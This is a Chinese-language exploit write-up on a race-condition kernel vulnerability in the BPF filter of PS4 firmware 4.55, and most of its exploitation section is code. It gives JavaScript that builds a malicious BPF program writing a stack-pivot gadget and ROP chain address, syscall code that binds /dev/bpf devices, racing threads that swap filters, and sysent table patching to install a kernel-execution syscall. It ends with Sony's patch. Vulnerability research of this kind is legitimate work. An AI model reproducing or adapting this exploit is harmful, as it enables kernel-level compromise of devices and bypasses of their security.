深入探索PS4 4.55 BPF竞争条件内核漏洞(下篇)
字数 1147 2025-08-25 22:59:09
PS4 4.55 BPF竞争条件内核漏洞分析与利用
漏洞概述
本文详细分析了PS4 4.55系统中BPF(BSD Packet Filter)存在的竞争条件内核漏洞。该漏洞允许攻击者通过精心构造的竞争条件,绕过内核验证机制,执行任意内核代码,最终实现权限提升。
前置知识
BPF简介
BPF(BSD Packet Filter)是类Unix系统中用于网络数据包过滤的机制,它允许用户空间程序在内核中安装自定义的过滤程序。在FreeBSD(PS4系统基于此)中,BPF通过/dev/bpf设备文件进行操作。
竞争条件
竞争条件(Race Condition)是指多个线程或进程在访问共享资源时,由于执行顺序的不确定性而导致程序行为出现异常的情况。在本漏洞中,攻击者利用竞争条件在验证后替换BPF程序。
漏洞分析
漏洞原理
BPF系统存在以下关键问题:
- 验证与执行分离:BPF程序在安装前会经过验证,但验证和执行之间存在时间窗口
- 缺乏同步机制:多个线程可以同时修改BPF程序
- 内存管理缺陷:释放的BPF程序内存可能被重新利用
攻击者可以通过以下步骤利用该漏洞:
- 创建两个BPF设备实例并绑定到同一网络接口
- 一个线程不断设置有效的BPF程序
- 另一个线程不断设置恶意的BPF程序
- 通过竞争条件使恶意程序绕过验证
- 触发恶意程序执行
关键数据结构
bpf_program结构
struct bpf_program { // Size: 0x10
u_int bf_len; // 0x00 - 指令数量(不是字节大小)
struct bpf_insn *bf_insns; // 0x08 - 指令指针
};
bpf_insn结构
struct bpf_insn { // Size: 0x08
u_short code; // 0x00 - 操作码
u_char jt; // 0x02 - 跳转真
u_char jf; // 0x03 - 跳转假
bpf_u_int32 k; // 0x04 - 通用字段
};
漏洞利用
构造有效BPF程序
有效BPF程序由一系列NOP(无操作)指令和RET(返回)指令组成:
// 设置有效程序
var bpf_valid_prog = malloc(0x10);
var bpf_valid_instructions = malloc(0x80);
// 写入NOP指令(0x00)
p.write8(bpf_valid_instructions.add32(0x00), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x08), 0x00000000);
// ... 更多NOP指令
// 写入RET指令(0x06)
p.write4(bpf_valid_instructions.add32(0x40), 0x00000006);
p.write4(bpf_valid_instructions.add32(0x44), 0x00000000);
// 设置程序头
p.write8(bpf_valid_prog.add32(0x00), 0x00000009); // bf_len = 9
p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions); // bf_insns
构造恶意BPF程序
恶意BPF程序利用LDX(加载)和STX(存储)指令实现内存破坏:
// 设置无效程序
var entry = window.gadgets["pop rsp"];
var bpf_invalid_prog = malloc(0x10);
var bpf_invalid_instructions = malloc(0x80);
// 加载并存储栈旋转gadget的低32位
p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001); // LDX
p.write4(bpf_invalid_instructions.add32(0x04), entry.low);
p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003); // STX
p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E); // 索引30
// 加载并存储栈旋转gadget的高32位
p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001); // LDX
p.write4(bpf_invalid_instructions.add32(0x14), entry.hi);
p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003); // STX
p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F); // 索引31
// 加载并存储ROP链地址的低32位
p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001); // LDX
p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low);
p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003); // STX
p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020); // 索引32
// 加载并存储ROP链地址的高32位
p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001); // LDX
p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi);
p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003); // STX
p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021); // 索引33
// 返回指令
p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006); // RET
p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001);
// 设置程序头
p.write8(bpf_invalid_prog.add32(0x00), 0x00000009); // bf_len = 9
p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions); // bf_insns
触发竞争条件
- 创建并绑定设备:
// 打开第一个设备并绑定
var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0);
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // BIOCSETIF
// 检查绑定是否成功
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0"));
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
throw "Failed to bind to first /dev/bpf device!";
}
}
// 对第二个设备重复相同过程
var fd2 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0);
p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("eth0"));
// ... 类似的错误检查
- 并行设置过滤程序:
// 线程1 - 设置有效程序
void threadOne() {
for(;;) {
ioctl(fd1, 0x8010427B, bpf_valid_program); // BIOCSETWF
}
}
// 线程2 - 设置无效程序
void threadTwo() {
for(;;) {
ioctl(fd2, 0x8010427B, bpf_invalid_program); // BIOCSETWF
}
}
- 触发代码执行:
// 线程3 - 触发代码执行
void threadThree() {
void *scratch = (void *)malloc(0x200);
for(;;) {
uint64_t n = write(fd1, scratch, 0x200);
if(n == 0x200) {
break;
}
}
}
内核ROP链构造
成功利用漏洞后,攻击者可以安装自定义系统调用实现内核代码执行:
- 修改sysent表:
struct sysent {
int sy_narg; // 参数数量
sy_call_t *sy_call; // 实现函数
au_event_t sy_auevent; // 审计事件
systrace_args_func_t sy_systrace_args_func; // 参数转换函数
u_int32_t sy_entry; // DTrace入口ID
u_int32_t sy_return; // DTrace返回ID
u_int32_t sy_flags; // 系统调用标志
u_int32_t sy_thrcnt; // 线程计数
};
- 利用gadget:
找到jmp qword ptr [rsi] gadget (偏移量0x13a39f)用于跳转到用户提供的代码。
- 修改系统调用#11:
- 将
sy_narg设为2 - 将
sy_call设为gadget地址 - 修改
sy_flags为SY_THR_STATIC
索尼的修复方案
索尼没有真正修复该漏洞,而是简单移除了bpfwrite()功能:
补丁前:
bpf_devsw
dd 17122009h ; d_version
dd 80000000h ; d_flags
dq 0FFFFFFFFA1C92250h ; d_name
dq 0FFFFFFFFA181F1B0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFFA16FD1C0h ; d_close
dq 0FFFFFFFFA181F290h ; d_read
dq 0FFFFFFFFA181F5D0h ; d_write <-- 原有write函数
dq 0FFFFFFFFA181FA40h ; d_ioctl
; ... 其他函数指针
补丁后:
bpf_devsw
dd 17122009h ; d_version
dd 80000000h ; d_flags
dq 0FFFFFFFF979538ACh ; d_name
dq 0FFFFFFFF9725DBB0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFF9738D230h ; d_close
dq 0FFFFFFFF9725DC90h ; d_read
dq 0 ; d_write <-- 被置为NULL
dq 0FFFFFFFF9725E050h ; d_ioctl
; ... 其他函数指针
总结
该漏洞利用展示了以下关键技术:
- 利用竞争条件绕过内核验证机制
- 通过BPF指令实现精确内存破坏
- 结合ROP技术实现内核代码执行
- 安装自定义系统调用实现持久化控制
虽然该漏洞需要root权限才能利用,但在特定场景下(如从root提权到ring0)仍具有重要价值。此案例也展示了竞争条件漏洞的利用方式在现代系统攻击中仍然有效。